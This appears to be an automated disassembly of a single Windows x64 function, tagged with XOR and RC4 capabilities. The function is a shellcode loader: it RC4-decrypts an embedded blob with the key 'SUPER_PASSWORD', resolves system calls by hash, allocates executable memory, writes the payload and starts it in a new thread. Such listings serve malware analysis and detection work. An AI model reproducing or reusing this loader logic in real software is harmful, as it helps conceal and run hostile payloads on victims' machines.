Function at 0x140001200
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push rsi
sub rsp, 0x470
mov qword [rsp + 0x78], 0
movaps xmm0, xmmword [section..rdata]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [0x140002010]
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmm0, xmmword [0x140002020]
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmm0, xmmword [0x140002030]
movaps xmmword [rsp + 0x1d0], xmm0
movaps xmm0, xmmword [str._fS_rRg]
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmm0, xmmword [0x140002050]
movaps xmmword [rsp + 0x1f0], xmm0
movaps xmm0, xmmword [0x140002060]
movaps xmmword [rsp + 0x200], xmm0
movaps xmm0, xmmword [0x140002070]
movaps xmmword [rsp + 0x210], xmm0
movaps xmm0, xmmword [0x140002080]
movaps xmmword [rsp + 0x220], xmm0
movaps xmm0, xmmword [0x140002090]
movaps xmmword [rsp + 0x230], xmm0
movaps xmm0, xmmword [0x1400020a0]
movaps xmmword [rsp + 0x240], xmm0
movaps xmm0, xmmword [0x1400020b0]
movaps xmmword [rsp + 0x250], xmm0
movaps xmm0, xmmword [0x1400020c0]
movaps xmmword [rsp + 0x260], xmm0
movaps xmm0, xmmword [0x1400020d0]
movaps xmmword [rsp + 0x270], xmm0
movaps xmm0, xmmword [0x1400020e0]
movaps xmmword [rsp + 0x280], xmm0
movaps xmm0, xmmword [0x1400020f0]
movaps xmmword [rsp + 0x290], xmm0
movaps xmm0, xmmword [0x140002100]
movaps xmmword [rsp + 0x2a0], xmm0
movaps xmm0, xmmword [0x140002110]
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmm0, xmmword [0x140002120]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmm0, xmmword [0x140002130]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmm0, xmmword [0x140002140]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmm0, xmmword [0x140002150]
movaps xmmword [rsp + 0x2f0], xmm0
movaps xmm0, xmmword [0x140002160]
movaps xmmword [rsp + 0x300], xmm0
movaps xmm0, xmmword [0x140002170]
movaps xmmword [rsp + 0x310], xmm0
movaps xmm0, xmmword [0x140002180]
movaps xmmword [rsp + 0x320], xmm0
movaps xmm0, xmmword [0x140002190]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [0x1400021a0]
movaps xmmword [rsp + 0x340], xmm0
movaps xmm0, xmmword [0x1400021b0]
movaps xmmword [rsp + 0x350], xmm0
movabs rax, 0xd9f2d7243ae1c572
mov qword [rsp + 0x360], rax
mov dword [rsp + 0x368], 0xf78a2f6a
xor esi, esi
lea rcx, [rsp + 0x90]
mov r8d, 0x102
xor edx, edx
call fcn.140001750
movaps xmm0, xmmword [0x1400021c0]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [0x1400021d0]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [0x1400021f0]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [0x140002200]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [0x140002210]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [0x140002220]
movaps xmmword [rsp + 0xf0], xmm0
movaps xmm0, xmmword [0x140002230]
movaps xmmword [rsp + 0x100], xmm0
movaps xmm0, xmmword [0x140002240]
movaps xmmword [rsp + 0x110], xmm0
movaps xmm0, xmmword [0x140002250]
movaps xmmword [rsp + 0x120], xmm0
movaps xmm0, xmmword [0x140002260]
movaps xmmword [rsp + 0x130], xmm0
movaps xmm0, xmmword [0x140002270]
movaps xmmword [rsp + 0x140], xmm0
movaps xmm0, xmmword [0x140002280]
movaps xmmword [rsp + 0x150], xmm0
movaps xmm0, xmmword [0x140002290]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [0x1400022a0]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [0x1400022b0]
movaps xmmword [rsp + 0x180], xmm0
lea rax, str.SUPER_PASSWORD
mov ecx, 1
lea rdx, [0x1400022d6]
mov r8, rax
nop
cmp r8, rdx
cmove r8, rax
movzx r9d, byte [rsp + rcx + 0x8f]
add sil, byte [r8]
inc r8
add sil, r9b
movzx esi, sil
movzx r10d, byte [rsp + rsi + 0x90]
mov byte [rsp + rcx + 0x8f], r10b
cmp r8, rdx
cmove r8, rax
mov byte [rsp + rsi + 0x90], r9b
movzx r9d, byte [rsp + rcx + 0x90]
add sil, byte [r8]
inc r8
add sil, r9b
movzx r10d, sil
movzx r11d, byte [rsp + r10 + 0x90]
mov byte [rsp + rcx + 0x90], r11b
mov byte [rsp + r10 + 0x90], r9b
add rcx, 2
cmp rcx, 0x101
jne 0x1400014f0
lea rcx, [rsp + 0x36c]
lea rdx, [rsp + 0x90]
mov r8d, 0x102
call fcn.140001810
movzx ecx, byte [rsp + 0x46c]
movzx eax, byte [rsp + 0x46d]
inc cl
movzx ecx, cl
xor edx, edx
nop dword [rax + rax]
lea r8d, [rcx + rdx]
movzx r8d, r8b
movzx r9d, byte [rsp + r8 + 0x36c]
add al, r9b
movzx r10d, al
movzx r11d, byte [rsp + r10 + 0x36c]
mov byte [rsp + r8 + 0x36c], r11b
mov byte [rsp + r10 + 0x36c], r9b
add r9b, byte [rsp + r8 + 0x36c]
movzx r8d, r9b
movzx r8d, byte [rsp + r8 + 0x36c]
xor byte [rsp + rdx + 0x1a0], r8b
lea r8, [rdx + 1]
mov rdx, r8
cmp r8, 0x1cc
jne 0x1400015a0
mov qword [rsp + 0x80], 0x1cc
mov ecx, 0xf783b8ec
call fcn.140001050
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x40], 0x40
mov dword [rsp + 0x38], 0x3000
mov dword [rsp + 0x28], 0
mov ecx, eax
mov r8d, 6
mov r9, 0xffffffffffffffff
call section..text
mov qword [rsp + 0x88], 0
mov ecx, 0xc3170192
call fcn.140001050
mov rcx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
lea r9, [rsp + 0x88]
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x1a0]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
mov ecx, eax
mov r8d, 5
mov r9, 0xffffffffffffffff
call section..text
mov qword [rsp + 0x90], 0
mov ecx, 0xaf18cfb0
call fcn.140001050
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0xffffffffffffffff
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1fffff
lea r9, [rsp + 0x90]
mov ecx, eax
mov r8d, 0xb
call section..text
nop word cs:[rax + rax]
jmp 0x140001740